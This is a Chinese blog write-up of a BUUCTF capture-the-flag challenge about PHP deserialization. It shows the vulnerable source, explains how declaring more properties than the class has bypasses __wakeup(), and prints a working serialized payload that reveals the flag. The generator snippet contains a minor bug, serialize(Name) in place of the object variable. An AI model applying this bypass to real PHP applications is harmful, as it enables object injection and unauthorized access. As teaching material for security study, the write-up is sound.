BUUCTF—php反序列化

BUUCTF—php反序列化

[极客大挑战 2019]PHP

__wakeup()绕过

在这里插入图片描述

有备份,盲猜www.zip,下载了网站源码,class.php 引用了flag.php

//class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
//index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select); 
?>

定位到 function __destruct()方法,需要password!=100且username=admin,通过select传参数这里可控造成反序列化漏洞。

但是

function __wakeup(){
        $this->username = 'guest';

unserialize() 会检查是否存在一个__wakeup() 方法。如果存在,则会先调用__wakeup 方法,预先准备对象需要的资源。 而__wakeup()将’guest’赋值给username,因此需要绕过该方法才能输出flag

绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法

这里有username和password有两个属性,大于即可

//序列化生成
<?php
class Name{
	private $username = 'admin';
	private $password = 100;
}
$a = new Name();
echo serialize(Name);
?> 

可以看到这里是有两个类的,修改成大于2个即可绕过__wakeup

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;} 

然后select传参即可

在这里插入图片描述
未完待续…

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值